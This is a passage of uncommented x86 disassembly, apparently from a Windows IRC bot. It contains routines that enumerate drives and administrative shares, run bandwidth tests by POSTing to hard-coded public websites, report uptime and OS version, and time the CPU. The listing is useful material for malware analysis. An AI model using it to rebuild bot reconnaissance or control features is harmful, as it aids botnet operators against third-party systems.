		jmp	short loc_41A2DF
; ---------------------------------------------------------------------------


loc_41A2C5:				; CODE XREF: sub_41A19E+E2j
		push	offset dword_43A3E0
		jmp	short loc_41A2D1
; ---------------------------------------------------------------------------


loc_41A2CC:				; CODE XREF: sub_41A19E+13j
		push	offset dword_43A1F8


loc_41A2D1:				; CODE XREF: sub_41A19E+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DF:				; CODE XREF: sub_41A19E+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FE
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A2FE:				; CODE XREF: sub_41A19E+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, ebx
		pop	ecx
		jnz	loc_41A473
		push	edi
		mov	esi, offset off_43A0C0
		mov	edi, 200h


loc_41A322:				; CODE XREF: sub_41A19E+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BC0
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33D
		push	offset dword_43A3C0
		jmp	short loc_41A342
; ---------------------------------------------------------------------------


loc_41A33D:				; CODE XREF: sub_41A19E+196j
		push	offset dword_43A398


loc_41A342:				; CODE XREF: sub_41A19E+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A371
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A371:				; CODE XREF: sub_41A19E+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0D0
		jb	short loc_41A322
		nop
		call	near ptr 2840000h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45B


loc_41A39C:				; CODE XREF: sub_41A19E+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A450
		cmp	bl, 41h
		jz	loc_41A450
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB6B4
		cmp	eax, 3
		jnz	short loc_41A450
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BC0
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40E
		push	offset dword_43A3C0
		jmp	short loc_41A413
; ---------------------------------------------------------------------------


loc_41A40E:				; CODE XREF: sub_41A19E+267j
		push	offset dword_43A398


loc_41A413:				; CODE XREF: sub_41A19E+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A443
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A443:				; CODE XREF: sub_41A19E+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A450:				; CODE XREF: sub_41A19E+206j
					; sub_41A19E+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39C


loc_41A45B:				; CODE XREF: sub_41A19E+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A368
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A486
; ---------------------------------------------------------------------------


loc_41A473:				; CODE XREF: sub_41A19E+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A486:				; CODE XREF: sub_41A19E+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A4
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A4A4:				; CODE XREF: sub_41A19E+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B8	proc near		; CODE XREF: sub_41A6AF+CBp
					; sub_41A6AF+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26A0871h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D2	proc near		; CODE XREF: sub_41A6AF+D4p
					; sub_41A6AF+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AB
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAFA
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AB
		push	50h
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB6D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AB
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AB
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433F14 ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62B
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FB
; ---------------------------------------------------------------------------


loc_41A5F8:				; CODE XREF: sub_41A4D2+157j
		mov	eax, [ebp+arg_0]


loc_41A5FB:				; CODE XREF: sub_41A4D2+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60B
		push	[ebp+var_C]
		jmp	short loc_41A60C
; ---------------------------------------------------------------------------


loc_41A60B:				; CODE XREF: sub_41A4D2+132j
		push	ebx


loc_41A60C:				; CODE XREF: sub_41A4D2+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A692
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F8


loc_41A62B:				; CODE XREF: sub_41A4D2+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_42770C
		fst	[ebp+arg_0]
		fcomp	flt_427708
		fnstsw	ax
		sahf
		jnz	short loc_41A653
		fld1
		fstp	[ebp+arg_0]


loc_41A653:				; CODE XREF: sub_41A4D2+17Aj
		push	[ebp+var_4]
		call	dword_4CB6EC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_427704
		fmul	flt_427700
		call	sub_41C798


loc_41A68D:				; CODE XREF: sub_41A4D2+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A692:				; CODE XREF: sub_41A4D2+149j
		push	[ebp+var_4]
		call	dword_4CB6EC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AB:				; CODE XREF: sub_41A4D2+19j
					; sub_41A4D2+42j ...
		xor	eax, eax
		jmp	short loc_41A68D
sub_41A4D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AF	proc near		; CODE XREF: sub_401ACD+2E62p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		push	8
		mov	esi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7B0
		test	eax, eax
		jz	short loc_41A7AC
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7AC:				; CODE XREF: sub_41A6AF+F4j
		mov	ebx, esi
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7B0:				; CODE XREF: sub_41A6AF+F0j
		mov	ebx, eax


loc_41A7B2:				; CODE XREF: sub_41A6AF+FBj
					; sub_41A6AF+FFj
		push	0Ch
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		push	0Ch
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7EA
		test	eax, eax
		jz	short loc_41A7E6
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7E6:				; CODE XREF: sub_41A6AF+12Ej
		mov	esi, edi
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7EA:				; CODE XREF: sub_41A6AF+12Aj
		mov	esi, eax


loc_41A7EC:				; CODE XREF: sub_41A6AF+135j
					; sub_41A6AF+139j
		push	6
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		push	6
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A824
		test	eax, eax
		jz	short loc_41A820
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A820:				; CODE XREF: sub_41A6AF+168j
		mov	ecx, edi
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A824:				; CODE XREF: sub_41A6AF+164j
		mov	ecx, eax


loc_41A826:				; CODE XREF: sub_41A6AF+16Fj
					; sub_41A6AF+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A833
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A836
; ---------------------------------------------------------------------------


loc_41A833:				; CODE XREF: sub_41A6AF+17Bj
		push	2
		pop	edi


loc_41A836:				; CODE XREF: sub_41A6AF+182j
		test	esi, esi
		jz	short loc_41A83E
		add	eax, esi
		jmp	short loc_41A83F
; ---------------------------------------------------------------------------


loc_41A83E:				; CODE XREF: sub_41A6AF+189j
		dec	edi


loc_41A83F:				; CODE XREF: sub_41A6AF+18Dj
		test	ecx, ecx
		jz	short loc_41A847
		add	eax, ecx
		jmp	short loc_41A848
; ---------------------------------------------------------------------------


loc_41A847:				; CODE XREF: sub_41A6AF+192j
		dec	edi


loc_41A848:				; CODE XREF: sub_41A6AF+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A508
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88C	proc near		; CODE XREF: sub_401ACD+25A1p
					; sub_401ACD+2A11p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26A0871h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB920
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F5	proc near		; CODE XREF: sub_416F1B+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26E05D0h
		test	eax, eax
		jz	short loc_41A988
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95E
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A946
		cmp	[ebp+var_84], 1
		jnz	short loc_41A939
		push	1
		pop	esi


loc_41A939:				; CODE XREF: sub_41A8F5+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A988
		push	1
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A946:				; CODE XREF: sub_41A8F5+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A953


loc_41A94F:				; CODE XREF: sub_41A8F5+78j
		push	2
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A953:				; CODE XREF: sub_41A8F5+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A988
		jmp	short loc_41A978
; ---------------------------------------------------------------------------


loc_41A95E:				; CODE XREF: sub_41A8F5+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A988
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94F
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97C


loc_41A978:				; CODE XREF: sub_41A8F5+67j
		push	3
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A97C:				; CODE XREF: sub_41A8F5+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A988
		push	7


loc_41A987:				; CODE XREF: sub_41A8F5+4Fj
					; sub_41A8F5+5Cj ...
		pop	esi


loc_41A988:				; CODE XREF: sub_41A8F5+25j
					; sub_41A8F5+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98D	proc near		; CODE XREF: sub_41AA43+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A995:				; CODE XREF: sub_41A98D+2Fj
					; sub_41A98D+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 2680F4Eh
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A995
		jb	short loc_41A9C4
		cmp	ebx, esi
		ja	short loc_41A995


loc_41A9C4:				; CODE XREF: sub_41A98D+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA37
		jb	short loc_41A9E3
		cmp	esi, 50h
		jnb	short loc_41A9E8


loc_41A9E3:				; CODE XREF: sub_41A98D+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E8:				; CODE XREF: sub_41A98D+54j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41A9F3
		cmp	esi, 47h
		jnb	short loc_41A9F8


loc_41A9F3:				; CODE XREF: sub_41A98D+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F8:				; CODE XREF: sub_41A98D+64j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA03
		cmp	esi, 37h
		jnb	short loc_41AA08


loc_41AA03:				; CODE XREF: sub_41A98D+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA08:				; CODE XREF: sub_41A98D+74j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA13
		cmp	esi, 26h
		jnb	short loc_41AA18


loc_41AA13:				; CODE XREF: sub_41A98D+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA18:				; CODE XREF: sub_41A98D+84j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA23
		cmp	esi, 1Eh
		jnb	short loc_41AA28


loc_41AA23:				; CODE XREF: sub_41A98D+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA28:				; CODE XREF: sub_41A98D+94j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA33
		cmp	esi, 0Ah
		jnb	short loc_41AA37


loc_41AA33:				; CODE XREF: sub_41A98D+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA37:				; CODE XREF: sub_41A98D+4Dj
					; sub_41A98D+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA43	proc near		; CODE XREF: sub_401ACD+276Fp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D808
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26E05D0h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AACA
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA6
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA90
		mov	[ebp+var_4], offset dword_431974


loc_41AA90:				; CODE XREF: sub_41AA43+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB45
		mov	[ebp+var_4], offset dword_431970
		jmp	short loc_41AB16
; ---------------------------------------------------------------------------


loc_41AAA6:				; CODE XREF: sub_41AA43+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB8
		mov	[ebp+var_4], offset dword_43196C
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAB8:				; CODE XREF: sub_41AA43+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB06
		mov	[ebp+var_4], offset dword_431968
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AACA:				; CODE XREF: sub_41AA43+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB06
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE4
		mov	[ebp+var_4], offset dword_431964
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAE4:				; CODE XREF: sub_41AA43+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF6
		mov	[ebp+var_4], offset dword_431960
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAF6:				; CODE XREF: sub_41AA43+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0D


loc_41AB06:				; CODE XREF: sub_41AA43+7Cj
					; sub_41AA43+8Ej
		mov	[ebp+var_4], offset dword_431958


loc_41AB0D:				; CODE XREF: sub_41AA43+73j
					; sub_41AA43+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB45


loc_41AB16:				; CODE XREF: sub_41AA43+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB45
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB45:				; CODE XREF: sub_41AA43+54j
					; sub_41AA43+D1j ...
		mov	ax, word_437F2C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB534
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7E
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7E:				; CODE XREF: sub_41AA43+12Cj
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, ebx
		jz	short loc_41ABA7
		push	dword ptr [eax]
		jmp	short loc_41ABAC
; ---------------------------------------------------------------------------


loc_41ABA7:				; CODE XREF: sub_41AA43+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAC:				; CODE XREF: sub_41AA43+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2680B57h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A7FC
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2750000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2740000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2850000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88C
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98D
		push	edx
		push	eax
		push	offset dword_43A720
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
